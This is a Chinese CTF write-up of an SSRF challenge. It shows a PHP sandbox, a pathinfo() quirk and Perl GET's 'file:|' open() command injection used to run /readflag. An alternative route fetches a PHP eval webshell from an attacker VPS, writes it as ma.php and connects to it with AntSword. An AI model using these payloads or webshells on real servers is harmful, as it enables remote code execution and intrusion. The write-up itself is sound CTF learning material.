前言:
SSRF好久没做过了,今天碰上了这题想着找找感觉,但真的做不出来啊,基础知识的储蓄真的太少了。这题代码不多,解题思路其实就围绕那几行代码。
文章目录
172.16.128.254 <?php
if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
$http_x_headers = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']);
$_SERVER['REMOTE_ADDR'] = $http_x_headers[0];
}
echo $_SERVER["REMOTE_ADDR"];
$sandbox = "sandbox/" . md5("orange" . $_SERVER["REMOTE_ADDR"]);
@mkdir($sandbox);
@chdir($sandbox);
$data = shell_exec("GET " . escapeshellarg($_GET["url"]));
$info = pathinfo($_GET["filename"]);
$dir = str_replace(".", "", basename($info["dirname"]));
@mkdir($dir);
@chdir($dir);
@file_put_contents(basename($info["basename"]), $data);
highlight_file(__FILE__);
pathinfo()
pathinfo(path,options) 函数以数组的形式返回关于文件路径的信息。
返回的数组元素如下:
[dirname]: 目录路径
[basename]: 文件名
[extension]: 文件后缀名
[filename]: 不包含后缀的文件名
按理来说应该传入一个完整路径的,[dirname]等于一个目录,basename([dirname])等于最后一级目录。
但当只传入一个文件名时,[dirname]等于当前目录!这就是差异的地方
所以这题我们给$_GET[“filename”]传入一个文件名而不是路径形式的,就能在当前目录(沙盒目录)下创建文件,沙盒目录我们是清楚知道的。
通过 $sandbox = "sandbox/" . md5("orange" . $_SERVER["REMOTE_ADDR"]);
即可得到
perl脚本GET的使用
$data = shell_exec("GET " . escapeshellarg($_GET["url"]));
作为小白的我看到这第一反应:这是什么???
后来看题解才知道这是有关perl脚本中GET的使用,有关GET的两个使用:
查询目录:
GET /
查询文件:
GET /root/2.txt
回到本题,我们可以尝试GET /
读取根目录
?url= /&filename=666.txt
访问一下:
/sandbox/fcf2bccafc269c160382150a0166d632/666
看到flag再试试读取flag,很可惜是读到空白。但还有个readflag可执行文件,按照CTF题的套路就是要执行这个文件才会有flag!
readflag:是一个加了s权限的一个读flag的程序。
s权限: 设置使文件在执行阶段具有文件所有者的权限,相当于临时拥有文件所有者的身份
open存在命令执行
GET是
Lib for WWW in Perl
中的命令 目的是模拟http的GET请求,GET函数底层就是调用了open
处理open
存在命令执行,并且还支持file
函数
大佬们说:GET底层是调用open,open存在命令执行,这个命令执行是通过file函数实现的,简单实验一下:
GET file:|id
GET file:|cat /root/2.txt
我们使用GET file:|id
执行命令就得先满足id
这个文件存在,原因涉及到底层的代码:(小白看不懂…)
ubuntu18.04 已经修复此漏洞
#第47行
# test file exists and is readable
unless (-e $path) {
return HTTP::Response->new( &HTTP::Status::RC_NOT_FOUND,
"File `$path' does not exist");
}
unless (-r _) {
return HTTP::Response->new( &HTTP::Status::RC_FORBIDDEN,
'User does not have read permission');
}
...
#第127行
# read the file
if ($method ne "HEAD") {
open(F, $path) or return new
HTTP::Response(&HTTP::Status::RC_INTERNAL_SERVER_ERROR,
"Cannot read file '$path': $!");
binmode(F);
$response = $self->collect($arg, $response, sub {
my $content = "";
my $bytes = sysread(F, $content, $size);
return \$content if $bytes > 0;
return \ "";
});
close(F);
}
...
我们需要执行/readflag
文件,因此要创建一个名为/readflag
的文件:
?url=&filename=|/readflag
这样就创建了
接着利用配合file函数执行命令:
?url=file:|/readflag&filename=666
接着访问即可
访问VPS写下木马文件
看到feng师傅有个不一样的操作,而且感觉是更有意思的方式——上传木马文件
首先是GET模拟GET方式进行http的GET请求,且题目是会将请求结果写入的,有没有一种可能访问恶意的URL从而吧木马写下来呢?
我们先试试能不能 “上网” 先:发现是可以访问的,那么访问网站的恶意文件也是完全可行的了
?url=www.baidu.com&filename=111
我们将一句话木马以一个不被解析的后缀放进服务器中(放到VPS中),这里往ma.txt中写入<?php eval($_POST[1]);?>
然后访问一下即可
?filename=ma.php&url=you-VPS/ma.txt
最后蚁剑连接一下,打开命令行执行/readflag
偷feng师傅的图,懒得自己连了
总结:
- 学习到pathinfo() 这个函数是用于得到一个路径的相关信息,包括目录名称、文件名称、文件后缀、不包含后缀的文件名
-
pathinfo() 如果传入的不是路径而是
666.txt
或666
这类的,处理得到的dirname是**当前目录 - perl语言下的GET,可以用来读文件与目录,但它也可以配合file()函数实现命令执行,前提是命令作为文件名已经存在
- 对于这种会进行GET请求的,还会将请求结果写入文件的题目,不妨尝试一下访问自己VPS上的木马文件